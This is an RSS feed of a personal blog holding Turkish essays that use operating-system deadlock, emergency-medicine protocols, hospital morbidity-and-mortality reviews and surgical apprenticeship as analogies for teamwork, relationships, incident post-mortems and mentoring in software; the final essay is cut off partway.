<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Mateus Felipe's interests</title>
        <link>http://localhost:3000</link>
        <description>This is my "corner of internet", where I take some tests, document my studies and write about some subjects I like...</description>
        <lastBuildDate>Sun, 18 Oct 2026 00:00:00 GMT</lastBuildDate>
        <docs>https://github.com/mateusfg7/mateusf.com</docs>
        <generator>Feed for Node.js</generator>
        <copyright>All rights reserved 2026, Mateus Felipe.</copyright>
        <item>
            <title><![CDATA["Deadlock" ve İnsan İlişkileri: İki İnatçı Sürecin Kilitlenmesi]]></title>
            <link>http://localhost:3000/blog/post/deadlock-ve-insan-iliskileri-iki-inatci-surecin-kilitlenmesi</link>
            <guid>deadlock-ve-insan-iliskileri-iki-inatci-surecin-kilitlenmesi</guid>
            <pubDate>Sun, 18 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[İşletim sistemlerinde iki thread'in birbirinin elindeki kaynağı beklemesiyle oluşan deadlock, insan ilişkilerinde ve yazılım ekiplerinde de harfiyen yaşanır. Kilit nasıl kırılır?]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/deadlock-ve-insan-iliskileri-iki-inatci-surecin-kilitlenmesi/thumbnail" alt=""> Bilgisayar bilimlerinin işletim sistemleri dersinde öğretilen en büyüleyici, en sinir bozucu ve en dramatik kavramlarından biri <strong>Deadlock (Ölümcül Kilitlenme)</strong> durumudur.</p>
<p>Tanımı o kadar basittir ki, ilk duyduğunuzda bir trajedi tiyatrosu izliyormuş gibi hissedersiniz:<br>
Sistemde iki farklı işlem (thread veya process) vardır: İşlem A ve İşlem B.<br>
İşlem A, işini tamamlamak için Kaynak 1'i elinde tutmakta ve Kaynak 2'nin serbest kalmasını beklemektedir.<br>
İşlem B ise tam tersine, Kaynak 2'yi elinde tutmakta ve Kaynak 1'in serbest kalmasını beklemektedir.</p>
<p>İkisi de elindekini bırakmaz.<br>
İkisi de diğerinin ilk adımı atmasını bekler.<br>
Ve sonuç? Sistem donar. İşlemci (CPU) boşta bekler, bellek tükenir, fanlar deliler gibi dönmeye başlar ama sistem tek bir milimetre bile ilerleyemez. Ta ki dışarıdan bir el gelip fişi çekene veya süreçlerden birini acımasızca öldürene (kill -9) kadar.</p>
<p>1971 yılında bilgisayar bilimci Edward G. Coffman Jr., bir sistemin bu kör kuyuya düşebilmesi için dört şartın aynı anda gerçekleşmesi gerektiğini matematiksel olarak kanıtladı:</p>
<ol>
<li><strong>Mutual Exclusion (Karşılıklı Dışlama):</strong> Kaynak paylaşılamaz, sadece bir kişi sahip olabilir.</li>
<li><strong>Hold and Wait (Tut ve Bekle):</strong> Elindeki kaynağı bırakmadan, diğer kaynağı istemeye devam etmek.</li>
<li><strong>No Preemption (Zorla Geri Alınamazlık):</strong> Kimse senin elindeki kaynağı rızan olmadan zorla çekip alamaz.</li>
<li><strong>Circular Wait (Döngüsel Bekleme):</strong> Birbirini bekleyen kapalı bir inat zinciri.</li>
</ol>
<p>Peki, şimdi ekranınızı hafifçe kapatıp kafanızı kaldırın ve etrafınızdaki dünyaya, çalışma arkadaşlarınıza, ikili ilişkilerinize ve kendi zihninize bakın.</p>
<p>İnsan ilişkilerinin de aslında Coffman'ın bu dört kuralıyla kilitlenen devasa bir işletim sistemi olduğunu fark ettiniz mi?</p>
<h3>Ofis Koridorlarındaki Kilitlenmeler</h3>
<p>Yazılım ekiplerinde her gün onlarca mikro-deadlock yaşanır.</p>
<p>Frontend geliştirici kollarını kavuşturur ve der ki: <em>"Backend ekibi API endpoint'ini bitirip canlıya almadan ben bu arayüzü kodlayamam."</em><br>
Aynı anda Backend geliştirici kendi masasında homurdanır: <em>"Frontend ekibi ekran tasarımındaki veri modelini kesinleştirmeden ben bu veritabanı şemasını oluşturamam."</em></p>
<p>İki taraf da elindeki "kaynağı" (kendi sorumluluğunu) sımsıkı tutar <em>(Hold and Wait)</em>.<br>
İki taraf da <em>"Önce o adım atsın"</em> diyerek döngüsel bir bekleme zinciri kurar <em>(Circular Wait)</em>.<br>
Ve iki hafta boyunca bir proje Jira tahtasında çürümeye terk edilir. Ne kod yazılır, ne ürün çıkar.</p>
<p>Aynı felaket, şirket yöneticileri arasında yaşanır. İki departman müdürü masaya oturur. Biri bütçeyi onaylamaz çünkü diğerinin taahhüt vermesini bekler; diğeri taahhüt vermez çünkü bütçenin açılmasını bekler. İki inatçı sürecin kilitlenmesi yüzünden yüzlerce insanın emeği aylarca çöpe gider.</p>
<h3>Kalbin İşletim Sistemi ve Gurur Kilitlenmesi</h3>
<p>Ama deadlock'ın en acı verici, en yıpratıcı hali profesyonel hayatta değil; kişisel ilişkilerimizde, sevgilimizle, eşimizle, dostumuzla veya ailemizle olan diyaloglarımızda yaşanır.</p>
<p>Büyük bir tartışmanın ardından o ağır, boğucu sessizlik çöker eve.<br>
İçinizden bir ses fısıldar: <em>"O özür dilemeden ben tek bir kelime bile etmeyeceğim."</em><br>
Karşı tarafın zihninde de aynı ses yankılanır: <em>"O arayıp adım atmadığı sürece ben asla aramayacağım."</em></p>
<p>İşte Coffman'ın dört kuralı yine devrededir:</p>
<ul>
<li><strong>Mutual Exclusion:</strong> "Haklılık" paylaşılamayan tekil bir kaynak olarak görülür; ikimiz birden haklı olamayız, birimiz galip gelmelidir.</li>
<li><strong>Hold and Wait:</strong> Kendi kırgınlığımızı ve gururumuzu sımsıkı elimizde tutar, aynı anda karşı tarafın şefkat göstermesini bekleriz.</li>
<li><strong>No Preemption:</strong> Kimse bizim gururumuzu dışarıdan zorla alamaz; teslimiyeti sadece biz verebiliriz.</li>
<li><strong>Circular Wait:</strong> İki taraf da telefonun ekranına bakar, iki taraf da ilk mesajı karşıdan bekler.</li>
</ul>
<p>Ve günler geçer. Bazen haftalar, bazen yıllar...<br>
Oysa iki taraf da içten içe acı çekiyordur. İki taraf da o kilitlenmenin bitmesini istiyordur. Ama o görünmez "gurur thread'i", sistemin bütün duygusal işlemcisini tüketir, insanı uykusuz bırakır, tüketir ve tüketir.</p>
<p>Bazen kilit o kadar uzun sürer ki, sonunda ilişki "Kernel Panic" verir ve tamamen çöker.</p>
<h3>Kilit Nasıl Kırılır?</h3>
<p>İşletim sistemleri teorisi bize çok berrak bir çıkış kapısı gösterir:<br>
Bir deadlock'ı çözmek istiyorsanız, Coffman'ın o dört şartından <strong>en az bir tanesini</strong> kırmak zorundasınızdır.</p>
<p>Döngüyü kırmanın en asil ve en olgun yolu <strong>Preemption</strong>'dır — yani bir tarafın elindeki kaynağı gönüllü olarak serbest bırakması.</p>
<p>Frontend geliştiricinin <em>"Backend hazır değilse ben mock (sahte) bir veri servisi yazar, ekranımı kodlamaya başlarım"</em> diyerek bekleme durumunu bozması gibi...<br>
Veya daha zoru: İlişkide o zehirli gururu yere bırakıp, <em>"Kimin haklı olduğu umurumda değil, bizim birbirimize duyduğumuz sevgi bu tartışmadan daha değerli"</em> diyerek ilk aramayı yapabilmek gibi.</p>
<p>Bu bir yenilgi değildir. Bu bir teslimiyet veya zayıflık da değildir.</p>
<p>İşletim sistemlerinde kilidi bozan süreç, sistemi kurtaran kahramandır. İlk adımı atan insan, zayıf olan değil; o sistemin donup ölmesine izin vermeyecek kadar büyük bir duygusal kapasiteye ve olgunluğa sahip olan tek kişidir.</p>
<p>Bir dahaki sefere bir iş arkadaşınızla, bir dostunuzla veya sevdiğiniz biriyle kendinizi o soğuk, inatçı sessizliğin içinde bulduğunuzda aklınıza bu gelsin.</p>
<p>Elinizdeki kaynağı sımsıkı tutarak karşı tarafın teslim olmasını beklemek, bir bilgisayar algoritmasının yapabileceği en ilkel hatadır.<br>
Ve siz bir makine değilsiniz.</p>
<p>O kilidi kırın. İlk sinyali siz gönderin. Bırakın sistem yeniden nefes alsın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>deadlock</category>
            <category>psikoloji</category>
            <category>iletisim</category>
            <category>iliskiler</category>
            <category>yazilim-felsefesi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/deadlock-ve-insan-iliskileri-iki-inatci-surecin-kilitlenmesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Protokol Ezberlemek vs. Kriz Anında Doğaçlama Yapmak: Tıp Kitapları ve StackOverflow Arasında Bir Hayat]]></title>
            <link>http://localhost:3000/blog/post/protokol-ezberlemek-vs-kriz-aninda-dogaclama-yapmak-tip-kitaplari-ve-stackoverflow-arasinda-bir-hayat</link>
            <guid>protokol-ezberlemek-vs-kriz-aninda-dogaclama-yapmak-tip-kitaplari-ve-stackoverflow-arasinda-bir-hayat</guid>
            <pubDate>Sat, 17 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sahada hiçbir vaka ders kitaplarındaki gibi gelmez. Kodda da hiçbir kriz StackOverflow'daki hazır kalıplara uymaz. Kuralları ezberleyen acemiler ile prensiplerle doğaçlama yapan ustalar arasındaki uçurum.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/protokol-ezberlemek-vs-kriz-aninda-dogaclama-yapmak-tip-kitaplari-ve-stackoverflow-arasinda-bir-hayat/thumbnail" alt=""> Acil tıp eğitimine başladığınızda önünüze yüzlerce sayfalık, rengarenk akış şemalarıyla (flowcharts) dolu kılavuzlar koyarlar: İleri Yaşam Desteği (ACLS), Travma Protokolleri (ATLS), Pediatrik Aciller...</p>
<p>Bu şemalar kâğıt üzerinde kusursuz birer matematiksel algoritmadır:<br>
<em>"Ritim analiz et. Ritim şoklanabilir mi (VF/VT)? Evetse 200 Joule şok ver, 2 dakika CPR yap, damar yolu aç, 1 mg Adrenalin uygula. Ritim şoklanamaz mı (Asistol/PEA)? Şok verme, CPR'a devam et, geri döndürülebilir nedenleri (4H - 4T) ara..."</em></p>
<p>Sınavlarda bu şemaları ezbere çizen öğrenciler en yüksek notları alır. Kendinizi dünyanın en donanımlı, her duruma hazır acil tıp uzmanı gibi hissedersiniz.</p>
<p>Sonra mezun olursunuz. Ve bir gece saat 03:00'te ambulansın kapısı açılır.</p>
<p>Olay yeri: Şarampole yuvarlanmış, tavanı ezilmiş bir araç. Hava buz gibi, zifiri karanlık ve yağmur yağıyor. Kazazede arabanın içinde baş aşağı sıkışmış durumda. Solunum yolu kan ve kusmukla tıkanmış. Monitörün kablosu çamura bulanmış, pille çalışan aspiratörün şarjı zayıflamış ve hastanın boynunu kılavuzda yazdığı gibi "nötr pozisyonda" sabitlemeniz fiziksel olarak imkânsız.</p>
<p>Kitabı açıp <em>"Sayfa 142'deki şemaya göre hastanın sırtüstü düz bir zeminde yatması gerekiyordu, bu araba neden ters döndü?"</em> diyemezsiniz. O an o kılavuz çöpe gider. O an sizi ve hastayı kurtaracak tek bir şey vardır: <strong>Protokolün ardındaki temel biyolojik prensibi kavramış olmak ve o kaosun içinde soğukkanlılıkla doğaçlama yapabilmek.</strong></p>
<p>Gerekiyorsa baş aşağı pozisyonda, dizlerinizin üzerine çökerek, çamurun içinde parmaklarınızla hava yolunu açarsınız. Çünkü prensip basittir: Beyne oksijen gitmek zorundadır. Yolun kitabî olup olmaması hastanın umurunda değildir; hastanın tek derdi yaşamaktır.</p>
<h3>Yazılım Dünyasının Kutsal Kitapları ve Ezbercilik</h3>
<p>Şimdi bu sahneyi zihninizde dondurun ve yazılım dünyasının steril koridorlarına adım atın.</p>
<p>Yazılım sektörü, belki de yeryüzünde dogmalara ve ezberlere en çabuk teslim olan sektördür. Her dönemin bir "kutsal kitabı" ve amentüsü vardır:<br>
<em>"Clean Architecture", "Gang of Four Design Patterns", "Domain-Driven Design (DDD)", "Microservices", "TDD olmadan asla kod yazılmaz"...</em></p>
<p>Geliştiriciler konferanslarda bu kalıpları birer dini inanç gibi savunur. Yeni başlayan bir mühendise sorsanız, size ezberden "Dependency Injection", "Singleton Pattern" ya da "CQRS" mimarisini kusursuzca anlatabilir. Tıpkı sınavda akış şemasını eksiksiz çizen tıp öğrencisi gibi.</p>
<p>Ama o mühendis, gerçek hayatta kanayan bir sistemle karşılaştığında ne yapar?</p>
<p>Canlı ortamda veritabanı kilitlenmiştir (deadlock). Mikroservisler birbirini zaman aşımına uğratıyordur. Dokümantasyonu olmayan, 10 yıl önce şirketten ayrılmış birinin yazdığı legacy bir PHP/C++ servisi bellek sızdırıyordur. Ve şirket dakikada on binlerce lira kaybediyordur.</p>
<p>O an o "kusursuz" mimari kitapları susar. StackOverflow'u açarsınız; orada da sizin yaşadığınız o tuhaf kenar duruma (edge case) dair tek bir hazır cevap yoktur. Çünkü StackOverflow ve ChatGPT sadece genel durumları bilir; sizin sisteminizin o an yaşadığı spesifik doku nekrozunu bilemez.</p>
<p>Ve ezberci yazılımcı o an terminalin başında felç geçirir. Çünkü o sadece yemek tariflerini ezberlemiştir; mutfakta yangın çıktığında ne yapacağını bilmez.</p>
<h3>Kurallar Acemiler İçindir, Prensipler İse Ustalar İçin</h3>
<p>Dövüş sanatlarında ve Doğu felsefesinde <strong>"Shu-Ha-Ri"</strong> adı verilen üç aşamalı bir öğrenme modeli vardır:</p>
<ol>
<li><strong>Shu (İtaat Et):</strong> Kuralları, formları ve protokolleri harfiyen öğren ve uygula.</li>
<li><strong>Ha (Kır / Ayrıl):</strong> Kuralların sınırlarını anla, nerede yetersiz kaldıklarını gör ve gerektiğinde kuralları esnet.</li>
<li><strong>Ri (Aş / Yarat):</strong> Kuralları tamamen unut. Artık kuralların değil, bizzat sanatın kendisi ol ve anın gerektirdiği şekilde özgürce yarat.</li>
</ol>
<p>Yazılımda ve acil tıpta acemiler her zaman <em>Shu</em> aşamasında takılı kalır. Kurallara taparlar; çünkü kural onlara sahte bir güvenlik hissi verir. <em>"Ben kılavuza uygun davrandım, hasta öldüyse benim suçum değil"</em> veya <em>"Ben kodu Clean Architecture prensiplerine göre yazdım, sistem ölçeklenmediyse mimarinin suçu değil"</em> diyerek sorumluluktan kaçarlar.</p>
<p>Oysa gerçek bir usta, kuralların sadece birer "çocukluk tekerleği" olduğunu bilir.</p>
<p>Bazen bir sistemi ayakta tutmak için en katı mimari prensibi delmeniz gerekir. Bazen bir fonksiyonu bölmek yerine tek bir dosyada 500 satır monolitik bırakmak, o anki bellek ve CPU darboğazını çözmenin en zarif yoludur. Bazen kriz anında test yazmayı bir kenara bırakıp, doğrudan problemi cerrahi bir müdahaleyle kesip çıkarmanız gerekir.</p>
<p>Bu kuralları çiğnemek değildir; kuralların hizmet ettiği <strong>amacı (pragmatizmi)</strong> kuralların şeklinden üstün tutmaktır.</p>
<h3>Mutfakta Aşçı Olmak</h3>
<p>Yemek yapmayı öğrenen biri tarife sıkı sıkıya bağlı kalır: <em>"İki çay kaşığı tuz, 100 gram tereyağı."</em> Eğer evde tereyağı yoksa yemek yapamaz, panikler.<br>
Ama büyük bir şef, elindeki malzemeye bakar. Havanın nemine, etin yağ oranına, fırının sıcaklığına göre tarifi o an yeniden yazar. Çünkü o, malzemelerin kimyasını ve ısının mantığını kavramıştır.</p>
<p>Acil tıpta hastayı kurtaran şey, ters dönmüş bir arabada doğaçlama yapabilme cesaretidir.<br>
Yazılımda sistemi kurtaran şey, StackOverflow cevapları tükendiğinde terminal başında derin bir nefes alıp, sistemin temel prensipleriyle (CPU, bellek, network paketleri, disk I/O) düşünebilme yetisidir.</p>
<p>Kılavuzları okuyun, protokolleri öğrenin, kitapları hatmedin. Onlar sizin temellerinizdir.<br>
Ama sahaya çıktığınızda o kitapları bir kenara bırakmaya hazır olun.</p>
<p>Çünkü hayat ve kod; hiçbir zaman o kitapların kurguladığı kadar steril ve uslu olmayacaktır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>felsefe</category>
            <category>protokol</category>
            <category>kriz-yonetimi</category>
            <category>problem-solving</category>
            <category>muhendislik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/protokol-ezberlemek-vs-kriz-aninda-dogaclama-yapmak-tip-kitaplari-ve-stackoverflow-arasinda-bir-hayat/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Post-Mortem Değil, Otopsi: Hatayı Kişide Değil, Sistemde Aramayı Acil Servisten Öğrenmek]]></title>
            <link>http://localhost:3000/blog/post/post-mortem-degil-otopsi-hatayi-kiside-degil-sistemde-aramayi-acil-servisten-ogrenmek</link>
            <guid>post-mortem-degil-otopsi-hatayi-kiside-degil-sistemde-aramayi-acil-servisten-ogrenmek</guid>
            <pubDate>Fri, 16 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sunucu çöktüğünde Ahmet'i suçlamak kolaydır. Peki Ahmet'in tek bir yanlış komutla bütün şirketi durdurabilmesine izin veren mimariyi kim yargılayacak?]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/post-mortem-degil-otopsi-hatayi-kiside-degil-sistemde-aramayi-acil-servisten-ogrenmek/thumbnail" alt=""> Hastanelerde ve acil tıp kliniklerinde, beklenmedik bir hasta kaybının veya ağır bir tıbbi komplikasyonun ardından kapalı kapılar ardında yapılan çok özel bir toplantı vardır: <strong>M&#x26;M (Morbidity and Mortality) Konferansı.</strong></p>
<p>Bu toplantı bir mahkeme salonu değildir. Orada bir savcı oturup <em>"Hastanın ölümünden hangi hemşire veya doktor sorumlu, hemen diplomasını iptal edelim"</em> demez. Eğer tıp dünyası yüzyıllardır bu mantıkla çalışsaydı, bugün dünyada tek bir cerrah veya hekim bile kalmazdı.</p>
<p>M&#x26;M masasına bir vaka yatırıldığında, cerrahından stajyerine, eczacısından başhemşiresine kadar herkes aynı soğukkanlılıkla tek bir sorunun peşine düşer: <strong>Sistem nerede açık verdi?</strong></p>
<p>Hemşire ilacı yanlış dozda mı hazırladı? Peki neden?<br>
İlaç dolabındaki iki farklı ilacın kutu tasarımı ve yazı tipi birbirine mi benziyordu?<br>
O gece acil serviste personel eksikliği mi vardı ve o hemşire 28 saattir aralıksız mı nöbetteydi?<br>
Acil çağrı zili çaldığında alarm sesleri birbirine mi karışıyordu?<br>
Doktorun yazdığı el yazısı reçete protokol kurallarına uygun değil miydi?</p>
<p>İşte bu, bir hatayı kişiselleştirmek yerine <strong>sistemi otopsiye almaktır</strong>. James Reason'ın meşhur <strong>"İsviçre Peyniri Modeli"</strong> tam olarak bunu anlatır: Felaketler tek bir insanın aptallığından değil; sistemdeki küçük deliklerin (güvenlik açıklarının, yorgunluğun, kötü tasarımın) tesadüfen aynı hizaya gelmesinden doğar.</p>
<p>Peki yazılım dünyası bu olgunluğun neresinde?</p>
<h3>Yazılımın Sahte "Blameless" Tiyatrosu</h3>
<p>Son yıllarda DevOps kültürünün yaygınlaşmasıyla birlikte teknoloji şirketlerinin diline pelesenk olmuş bir kavram var: <strong>"Blameless Post-Mortem"</strong> (Suçlamasız Olay Sonrası İnceleme).</p>
<p>Teoride kulağa ne kadar modern ve çağdaş geliyor değil mi? Bir kriz çıkar, sistem çöker, ardından ekip toplanır ve <em>"Kimseyi suçlamıyoruz, sadece süreçleri iyileştireceğiz"</em> denir. Google'ın SRE (Site Reliability Engineering) kitaplarından alıntılar yapılır.</p>
<p>Ama gelin o toplantı odasının kapısını aralayıp gerçekte ne olduğuna bakalım.</p>
<p>Şirketin ana veritabanı silinmiştir veya son güncelleme bütün ödeme akışını kilitlemiştir. Masada oturan yöneticilerin gözlerinde tek bir soru parıldar: <em>"Bunu kim yaptı?"</em><br>
Toplantı raporuna resmi olarak <em>"Bir operasyonel aksaklık yaşandı"</em> yazılır; ama toplantı biter bitmez kahve köşelerinde, özel Slack mesajlarında fısıltılar başlar:<br>
<em>"Ahmet yine migration script'ini canlıda çalıştırmış..."</em><br>
<em>"Mehmet PR'ı test etmeden merge'lemiş..."</em></p>
<p>Sonuç? Ahmet günah keçisi ilan edilir, belki performansı düşürülür veya şirketten kovulur. Ekip rahat bir nefes alır: <em>"Suçlu bulundu ve bertaraf edildi."</em></p>
<p>Ve altı ay sonra, yeni işe giren Ayşe aynı hatayı birebir tekrarlar.</p>
<p>Neden mi? Çünkü siz Ahmet'i kovdunuz; ama Ahmet'in tek bir tuşa basarak tüm şirketi yok edebildiği o çürük zemini olduğu gibi bıraktınız.</p>
<h3>Ahmet Suçlu Değil, Senin Sistemin Özürlü</h3>
<p>Yazılım liderlerinin ve sistem mimarlarının anlamakta en çok zorlandığı gerçek şudur:<br>
<strong>Eğer bir mühendis, tek bir terminal komutuyla, tek bir kontrolsüz tıklamayla veya tek bir dalgınlıkla tüm sistemi çökertebiliyorsa; suç o mühendiste değil, o yetkiyi oraya kontrolsüzce bırakan sistemdedir.</strong></p>
<p>Bir insan yorulabilir. Bir insanın sevgilisiyle kavga ettiği bir gün olabilir, bebeği bütün gece uyumamış olabilir, dikkati saniyenin onda biri kadar dağılabilir. İnsanoğlu biyolojik olarak hata yapmaya programlanmış kusurlu bir varlıktır.</p>
<p>Mühendisliğin tek varoluş sebebi ise, bu kusurlu insanın etrafına <strong>çelikten bariyerler (Poka-Yoke)</strong> örmektir.</p>
<p>Eğer sizin canlı (production) veritabanınıza bir geliştirici doğrudan SSH ile bağlanıp <code>DROP TABLE</code> yazabiliyorsa; orada suç Ahmet'in klavyesinde değil, o veritabanına doğrudan yazma izni veren DevOps mimarisindedir.<br>
Eğer bir kod, otomatik testlerden, statik analizden ve kademeli dağıtım (canary deployment) aşamasından geçmeden canlıdaki kullanıcılara ulaşıyorsa; suç o PR'ı açan stajyerde değil, o dağıtım boru hattını (pipeline) kurmayan kıdemli mühendistedir.</p>
<p>Tıpta buna <em>"Hataya Dayanıklı Tasarım"</em> denir. Örneğin, hastanelerdeki oksijen tüplerinin ve azot protoksit gazı hortumlarının bağlantı uçları fiziksel olarak birbirinden tamamen farklı üretilir. Dünyanın en dikkatsiz, en yorgun hemşiresi bile istese de oksijen prizine anestezi gazı hortumunu takamaz; çünkü metal yuvalar birbirine uymaz.</p>
<p>Peki sizin yazılım mimarinizde, yanlış hortumu yanlış yere takmayı engelleyen kaç tane fiziksel kilit var?</p>
<h3>Gerçek Bir Otopsi Nasıl Yapılır?</h3>
<p>Bir olay sonrası analiz (post-mortem), suçlu avlamak için değil, mimarinin zayıf halkalarını güçlendirmek için bir fırsattır. Eğer bir krizin ardından toplantı yapıyorsanız, şu üç soruyu masaya koymak zorundasınız:</p>
<ol>
<li><strong>Görünürlük (Observability):</strong> Bu hatayı biz kendimiz mi fark ettik, yoksa Twitter'da müşteriler dalga geçmeye başladığında mı uyandık? Sistem neden kendi kendine kanadığını bize önceden haber vermedi?</li>
<li><strong>Kapsama Alanı (Blast Radius):</strong> Tek bir servisteki hata neden domino taşı gibi tüm platformu devirdi? Servisler arasındaki yalıtım (circuit breaker / isolation) neden çalışmadı?</li>
<li><strong>Geri Dönüş Hızı (Recovery Time):</strong> Hatayı fark ettikten sonra sistemi 5 dakika içinde bir önceki stabil duruma getirebilecek bir geri alma (rollback) mekanizmamız neden yoktu?</li>
</ol>
<p>Bu soruların hiçbirinde bir insan ismi geçmez. Bu soruların tamamı mimarinin, süreçlerin ve araçların sağlığıyla ilgilidir.</p>
<p>Hatayı insanda aramak tembelliktir. Birini suçlayıp rahatlamak, sorunu çözmüş gibi hissettiren en ucuz uyuşturucudur.</p>
<p>Ama eğer gerçekten ayakta kalan, kurşun geçirmez sistemler inşa etmek istiyorsanız; insanları cezalandırmayı bırakın. Masaya neşteri koyun ve sistemi otopsiye alın. Çünkü sistem iyileşmediği sürece, sedyeye yatacak bir sonraki kurban sadece bir zaman meselesidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>devops</category>
            <category>post-mortem</category>
            <category>kriz-yonetimi</category>
            <category>psikoloji</category>
            <category>sistem-tasarimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/post-mortem-degil-otopsi-hatayi-kiside-degil-sistemde-aramayi-acil-servisten-ogrenmek/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["See One, Do One, Teach One": Tıbbın Yüzyıllık Usta-Çırak Modelini Yazılım Sektörü Neden Kaybetti?]]></title>
            <link>http://localhost:3000/blog/post/see-one-do-one-teach-one-tibbin-yuzyillik-usta-cirak-modelini-yazilim-sektoru-neden-kaybetti</link>
            <guid>see-one-do-one-teach-one-tibbin-yuzyillik-usta-cirak-modelini-yazilim-sektoru-neden-kaybetti</guid>
            <pubDate>Thu, 15 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[1890'larda cerrah William Halsted'in kurduğu usta-çırak modeli modern tıbbı ayakta tuttu. Yazılım sektörü ise junior yetiştirmeyi bırakıp kendi geleceğini ateşe atıyor.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/see-one-do-one-teach-one-tibbin-yuzyillik-usta-cirak-modelini-yazilim-sektoru-neden-kaybetti/thumbnail" alt=""> 1889 yılında Johns Hopkins Hastanesi'nin kurucu cerrahlarından biri olan Dr. William Stewart Halsted, modern tıp tarihini kökünden değiştirecek bir asistanlık (residency) eğitim modeli geliştirdi. O döneme kadar cerrahi eğitim çoğunlukla teorik derslerden ve uzaktan ameliyat izlemekten ibaretti. Halsted ise tıp eğitimini üç basit, acımasız ve kusursuz basamağa indirgedi:</p>
<p><strong>"See one, do one, teach one."</strong><br>
<em>(Bir kez izle, bir kez yap, bir kez öğret.)</em></p>
<p>Bu prensip, tıbbın yüzyıllardır nesilden nesile aktarılan o kutsal usta-çırak omurgasıdır. Tıp fakültesini birincilikle bitirmiş olsanız bile, bir hastanenin acil servisine ya da ameliyathanesine adım attığınız ilk gün kimse elinize neşteri verip <em>"Hadi bakalım, dün gece okuduğun kitaptaki apandisit ameliyatını yap"</em> demez.</p>
<p>Önce kıdemlinin yanına geçersiniz. Nefesini ensenizde hissederken onun dokuyu nasıl tuttuğunu, kanamayı nasıl klempe ettiğini, hastayla nasıl konuştuğunu izlersiniz <em>(See one)</em>.<br>
Sonraki vakada yer değiştirirsiniz. Neşter sizin elinizdedir ama kıdemli cerrah yarım santim yanınızda durur; eliniz titrediğinde bileğinizi tutar, hata yapmanıza ramak kala sizi uyarır ve o ameliyatı güvenle tamamlatır <em>(Do one)</em>.<br>
Ve nihayet, birkaç ay sonra arkanıza yeni bir çömez geldiğinde, bu kez siz onun yanına geçer ve bildiğiniz her şeyi ona aktarırsınız <em>(Teach one)</em>.</p>
<p>Çünkü tıp camiası çok iyi bilir ki: Kitaplar size anatomiyi öğretir; ama insan hayatını kurtarmayı sadece ve sadece yanınızdaki usta öğretir.</p>
<p>Peki, dünyanın en hızlı büyüyen ve en çok övünen sektörü olan yazılım dünyasında durum nedir?</p>
<h3>"4 Yıl Deneyimli Junior Aranıyor" Komedisi</h3>
<p>Bugün teknoloji sektörünün istihdam ve kültür yapısına baktığınızda, kelimenin tam anlamıyla bir akıl tutulması görürsünüz.</p>
<p>LinkedIn'deki iş ilanlarını açın. Başlık: <em>"Junior Frontend Developer"</em>.<br>
İlan detayları: <em>"En az 3-4 yıl production tecrübesi, Next.js, Kubernetes, CI/CD süreçlerine hakim, yüksek trafikli sistemler yönetmiş..."</em></p>
<p>Bu ilanlar trajikomik bir çaresizliğin itirafıdır. Şirketler artık eğitmek, yetiştirmek, sabır göstermek ve zaman ayırmak istemiyor. Herkes daldan hazır, olgunlaşmış, sulu bir elma koparmak istiyor; ama o elma ağacını kimse sulamak istemiyor.</p>
<p>Yeni mezun bir yazılımcıyı düşünün. Üniversiteden ya da kendi çabalarıyla bir noktaya gelmiş, hevesli, gözleri parlayan bir genç. İşe giriyor. İlk gün eline bir MacBook tutuşturuluyor, Slack kanalına ekleniyor, 50 bin satırlık dokümantasyonsuz bir legacy kod tabanının linki veriliyor ve <em>"Jira'da birkaç bilet var, hadi çözmeye başla"</em> deniyor.</p>
<p>Yanında ne bir kıdemli var, ne elini tutan bir rehber. Çocuk bir yerde tıkandığında soru sormaya çekiniyor; çünkü sektördeki o sahte kibir ortamında soru sormak "yetersizlik" olarak yaftalanıyor. Kod incelemeleri (Pull Request) ise bir öğretme alanı olmaktan çıkmış; kıdemli mühendislerin ego tatmin ettiği, <em>"Bunu neden böyle yazdın, git Clean Code oku"</em> diyerek satır aralarında insan azarladığı birer linç meydanına dönüşmüş.</p>
<p>Sonra ne oluyor? O genç birkaç ay içinde tükeniyor, içine kapanıyor, ezber kalıplara sığınıyor ve kendi kaderine terk ediliyor.</p>
<h3>Bilgi Transferinin İflası</h3>
<p>Bu sektörün içine düştüğü en büyük yanılgı, kod yazmanın sadece bir "mühendislik" işi olduğunu sanmaktır. Hayır; iyi kod yazmak aynı zamanda bir <strong>zanaattır</strong>.</p>
<p>Bir sistemin kriz anında nasıl davrandığını, bir veritabanı indeksinin neden patladığını, bir mimari kararın 3 yıl sonra şirketin başına ne belalar açacağını hiçbir üniversite müfredatında, hiçbir YouTube eğitim videosunda ya da bootcamp'te bulamazsınız. Bu bilgi, ancak sahada yüzlerce kez hata yapmış, gece yarısı sunucu başında sabahlamış bir ustanın masasında oturup, onun klavye başındaki kararlarını izleyerek öğrenilir. Bu, zımni bilgidir (tacit knowledge).</p>
<p>Ve biz şu an bu zımni bilgi akışını tamamen kesmiş durumdayız.</p>
<p>Kıdemli mühendisler (Senior/Lead), günlerini anlamsız toplantılarda, bitmek bilmeyen Agile törenlerinde ve Jira biletleri arasında tüketirken; yanlarındaki junior mühendise yarım saatlik bir "pair programming" yapmayı zaman kaybı olarak görüyor. Şirketler ise <em>"Junior yetiştirirsem 1 yıl sonra başka şirkete kaçar"</em> korkusuyla tamamen bencilleşiyor.</p>
